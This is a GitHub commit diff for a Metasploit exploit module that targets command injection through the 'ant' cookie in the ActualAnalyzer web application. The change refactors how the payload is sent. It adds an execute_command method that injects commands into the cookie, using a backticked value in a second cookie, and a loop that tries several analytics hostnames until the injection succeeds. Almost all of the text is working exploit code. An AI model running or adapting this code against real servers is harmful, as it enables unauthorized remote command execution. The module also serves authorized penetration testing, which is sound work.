Skip to content

Commit 55d9e9c

Browse files
committed
Use list of potential analytics hosts
1 parent f1f57c6 commit 55d9e9c

File tree

1 file changed

+23
-13
lines changed

1 file changed

+23
-13
lines changed

modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb

Lines changed: 23 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -209,32 +209,42 @@ def get_analytics_host_admin
209209
end
210210
end
211211

212-
def exploit
213-
if datastore['ANALYZER_HOST'].blank?
214-
analytics_host = get_analytics_host_code
215-
analytics_host = get_analytics_host_view if analytics_host.nil?
216-
analytics_host = get_analytics_host_admin if analytics_host.nil?
217-
analytics_host = vhost if analytics_host.nil?
218-
else
219-
analytics_host = datastore['ANALYZER_HOST']
220-
end
212+
def execute_command(cmd, opts = { :analytics_host => vhost })
221213
vuln_cookies = %w(anw anm)
222-
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
223214
res = send_request_cgi(
224215
'uri' => normalize_uri(target_uri.path, 'aa.php'),
225-
'vars_get' => { 'anp' => analytics_host },
226-
'cookie' => "ant=#{payload.encoded}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
216+
'vars_get' => { 'anp' => opts[:analytics_host] },
217+
'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
227218
)
228219
if !res
229220
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
230221
elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
231222
print_good("#{peer} - Payload sent successfully")
223+
return true
232224
elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
233-
fail_with(Failure::BadConfig, "#{peer} - Host '#{analytics_host}' is not monitored by ActualAnalyzer. set ANALYZER_HOST to specify.")
225+
vprint_status("#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")
234226
elsif res.code == 200 && res.body =~ /Admin area<\/title>/
235227
fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
236228
else
237229
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
238230
end
239231
end
232+
233+
def exploit
234+
analytics_hosts = []
235+
if datastore['ANALYZER_HOST'].blank?
236+
analytics_hosts << get_analytics_host_code
237+
analytics_hosts << get_analytics_host_view
238+
analytics_hosts << get_analytics_host_admin
239+
analytics_hosts << vhost
240+
analytics_hosts << '127.0.0.1'
241+
analytics_hosts << 'localhost'
242+
else
243+
analytics_hosts << datastore['ANALYZER_HOST']
244+
end
245+
analytics_hosts.uniq.each do |host|
246+
vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
247+
break if execute_command(payload.encoded, { :analytics_host => host })
248+
end
249+
end
240250
end

0 commit comments

Comments
 (0)